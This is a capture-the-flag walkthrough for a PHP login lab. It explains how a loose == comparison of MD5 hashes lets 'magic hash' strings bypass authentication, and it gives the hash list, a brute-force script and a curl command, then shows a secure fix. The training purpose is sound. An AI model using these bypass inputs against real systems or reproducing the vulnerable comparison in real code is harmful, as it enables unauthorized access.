A login portal stands between you and the flag, protected by MD5 hashing. The developer used loose comparison instead of strict comparison, creating an exploitable weakness. Master the art of PHP type juggling and bypass authentication without knowing the real password. Can you turn this subtle vulnerability into complete access?
This challenge demonstrates a critical PHP vulnerability where loose comparison operators enable authentication bypass through type juggling.
Navigate to the challenge URL at <target-ip> to access the admin login portal:
http://<target-ip>Examine the PHP source code to identify the vulnerability:
$admin_password_hash = '0e462097431906509019562988736854';
if ($username === 'admin' && md5($password) == $admin_password_hash) {
// Grant access
}Key observations:
== (loose comparison) instead of === (strict comparison)PHP interprets strings starting with '0e' followed by only digits as numbers in scientific notation:
'0e462097431906509019562988736854' is interpreted as 0 x 10^462097431906509019562988736854==Several known strings produce MD5 hashes with the '0e' pattern (called 'magic hashes'):
md5('240610708') = '0e462097431906509019562988736854'
md5('QNKCDZO') = '0e830400451993494058024219903391'
md5('s878926199a') = '0e545993274517709034328855841020'
md5('s155964671a') = '0e342768416822451524974117254469'
md5('s214587387a') = '0e848240448830537924465865611904'Any of these passwords will bypass authentication because they all equal 0 when compared with ==.
Use any magic hash to bypass authentication:
http://<target-ip>adminQNKCDZO (or any other magic hash string)md5('QNKCDZO') which equals '0e830400451993494058024219903391''0e830400451993494058024219903391' == '0e462097431906509019562988736854'true, granting accessAfter successful login, the admin panel displays the flag as a UUID.
Method 1: Brute Force Magic Hashes
If you don't have a list of magic hashes, you can generate your own:
import hashlib
import itertools
import string
charset = string.ascii_uppercase + string.digits
for length in range(7, 12):
for combo in itertools.product(charset, repeat=length):
test = ''.join(combo)
hash_val = hashlib.md5(test.encode()).hexdigest()
if hash_val.startswith('0e') and hash_val[2:].isdigit():
print(f'Found: {test} -> {hash_val}')
breakMethod 2: Using Burp Suite
Method 3: Command Line with cURL
curl -X POST http://<target-ip> \
-d 'username=admin&password=QNKCDZO' \
-c cookies.txt
# The response will contain the flagThis vulnerability demonstrates several critical security issues:
The correct way to implement password verification in PHP:
// Secure password hashing
$hashed_password = password_hash($password, PASSWORD_ARGON2ID);
// Secure password verification
if ($username === 'admin' && password_verify($password, $stored_hash)) {
// Grant access
}
// Never use:
// - md5() or sha1() for passwords
// - == for comparing sensitive values
// - Manual hash comparison without constant-time comparisonpassword_hash() and password_verify() functionsCongratulations! You've successfully exploited PHP type juggling to bypass authentication. This challenge highlights why strict comparison and proper password hashing functions are essential for secure applications.
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.